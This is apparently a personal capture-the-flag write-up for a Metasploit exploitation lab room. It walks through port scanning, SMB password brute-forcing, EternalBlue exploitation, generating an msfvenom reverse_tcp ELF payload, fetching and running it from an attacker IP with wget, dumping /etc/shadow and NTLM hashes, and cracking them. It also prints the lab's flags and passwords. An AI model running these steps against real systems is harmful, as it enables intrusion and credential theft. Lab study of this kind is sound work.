◐
© 2026 NauffalFirdaus. All rights reserved.
Metasploit: Exploitation

Metasploit: Exploitation

Intro


In this guide, we will learn how to use Metasploit to find and exploit vulnerabilities. We will also see how the database feature helps organize penetration testing work. Lastly, we will learn how to create payloads with msfvenom and start a Meterpreter session on target systems.

Task 2


Question 1: How many ports are open on the target system?

To answer this question, we can perform a port scan on the target system. This can be done using tools like Nmap or by using scanner modules within Metasploit.

Notion image

For this question, I used the command nmap -sS <target IP> to perform a stealth scan on the target machine. From the results, we can see that there are 5 open ports on the target system.

Ans: 5

Question 2: Using the relevant scanner, what NetBIOS name can you see?

To answer this question, we use a Metasploit scanner module. The scanner/discovery/udp_sweep module helps quickly identify services running over UDP. Although it does not perform a full scan, it can detect common services like DNS or NetBIOS.

First, run the msfconsole command to start Metasploit. Then, use the scanner/discovery/udp_sweep module and set the RHOSTS to the target machine.

Notion image

Notion image

Then we can run the module. From the result, we can see that the NetBIOS for the target machine is ACME IT SUPPORT.

Ans: ACME IT SUPPORT

Question 3: What is running on port 8000?

For this question, we can use the scanner/http/http_version module in Metasploit to identify the service running on port 8000.

Before running the module, make sure to set the RHOSTS (target IP) and RPORT (port 80) correctly.

Notion image

The scan shows that the service running on port 8000 is webfs/1.21 .

Ans: webfs/1.21

Question 4: What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task.

To solve this, we can use the scanner/smb/smb_login module in Metasploit to brute-force the login using the password file from the wordlist mentioned in Task 1.

Before running the scan, we need to configure the module. The show options command displays the required settings, where we set RHOSTS, SMBUser, and PASS_FILE using the provided wordlist.

Notion image

The wordlist path: /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt

Notion image

This confirms that the password for the penny user is successfully discovered using a brute-force attack.

Ans: leo1234

Task 4


Question 1: Who wrote the module that allows us to check SMTP servers for open relay?

To solve this, we search for the smtp_relay scanner module and use it. Then we run the info command to find the provider's name.

Notion image

From the result, we can see the provider’s name is Cambell Murray.

Ans: Cambell Murray

Task 5


Question 2: What is the content of the flag.txt file?

To begin, we scan the open port of the target machine using nmap .

Notion image

After the Nmap scan was performed which revealed several open ports, most notably:

  • 135 (RPC)
  • 139 (NetBIOS)
  • 445 (SMB)
  • 3389 (RDP)

This indicated that the target is likely a Windows machine with SMB services exposed.

SMB Enumeration

Using Metasploit’s scanner/smb/smb_version modules, further enumeration was conducted:

Notion image
  • The system was identified as Windows 7 Professional SP1 (x64)
  • SMB version and OS details were successfully retrieved
  • NetBIOS name and domain/workgroup information were also discovered

Then we scan using scanner/discovery/upd_sweep to find extra information about the machine.

Notion image

From the enumeration results, the target machine’s name is identified as Jon, and it is configured within a workgroup environment, indicating it is not joined to a domain.

Additionally, vulnerability scanning using:

auxiliary/scanner/smb/smb_ms17_010

Notion image
Notion image

confirmed that the target is:

VULNERABLE to MS17-010 (EternalBlue)

Exploitation (EternalBlue)

The exploit module used is exploit/windows/smb/ms17_010_eternalblue .

Notion image

A payload was configured: generic/shell_reverse_tcp :

Notion image
Notion image

The exploit was successfully executed, resulting in a reverse shell: Command shell session opened

Post-Exploitation

With shell access obtained, basic enumeration was performed:

C:\Users> dir

Notion image

This revealed user directories including:

  • Jon
  • Public

From the previous scan, we know the machine name is Jon-PC, so the user is likely Jon. We assume the flag.txt file is in Jon’s Documents folder.

We navigate to that folder using C:\Users\Jon\Documents> dir .

Notion image

From here, the flag.txt file can be located and accessed by running type flag.txt command.

Notion image
Ans: THM-5455554845

Question 3: What is the NTLM hash of the password of the user "pirate"?

For this question, we can use another payload which is windows/x64/meterpreter/reverse_tcp

Notion image

As we can see, the meterpreter session is now opened.

We use hashdump on meterpreter to gain the NTLM hash for the user pirate.

Notion image

From the result, we can see that the NTLM hash for user pirate is 8ce9a3ebd1647fcc5e04025019f4b875

Ans: 8ce9a3ebd1647fcc5e04025019f4b875

Additional step for after getting the hash is we can crack it using John The Ripper by running the command john —format-=NT —wordlist=<wordlist_path> <NTLM_hash>

Notion image

After cracking the NTLM hash, we can see that the password for user pirate is pirate123

Task 6


Question 1: Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type "sudo su" to get a root shell, this will make things easier.

Notion image

Question 2: Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).

Notion image

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f elf -o shell.elf

Question 3: Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget http://ATTACKING_MACHINE_IP:9000/shell.elf to download it to the target machine).

On the attacker machine, start the hosting using python3 -m http.server 9000 command.

Notion image

Then run the wget <attacker_IP>:<port>/<file_path> command to download the shell.elf.

Notion image
Notion image

Keep in mind that .elf is and executable file, so we must give the file permission to execute using chmod +x <file_name> command. Then execute the file using ./<file_name> command.

Question 4: Get a meterpreter session on the target machine.

To get the meterpreter session on the target machine, we use the exploit/multi/handler module. Then we set the LHOST, RPORT and the payload. We use the set payload linux/x86/meterpreter/reverse_tcp command to set the payload. After set all the configuration, we use the run command to start exploiting the target machine.

Notion image

Question 5: Use a post exploitation module to dump hashes of other users on the system.

After getting the meterpretersession, we can check the current user whether it’s root or not using getuid command.

Notion image

As we can see, the current user is already a root, means we can read the etc/passwd and etc/shadow files.

Notion image

Using the cat /etc/shadow command, we can view the password hashes of all users on the system. From the output, we identify two regular users: murphy and claire.

Question 6: What is the other user's password hash?

Notion image

Since these are the only non-system users based on the result below, we focus on extracting the hash for claire. The other user’s hash is $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Ans: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Additionally, we can crack the claire’s hash to get the password using John The Ripper. First copy the etc/passwd and etc/shadow content to passwd.txt and shadow.txt respectively. Then use unshadow <pass_file.txt> <shadow_file.txt> > <hash_file.txt>. Then we can run the john —wordlist==<wordlist_path> <hash_file.txt>.

Notion image

From the result, we can see the cracked hash is 12345678.

© 2026 NauffalFirdaus. All rights reserved.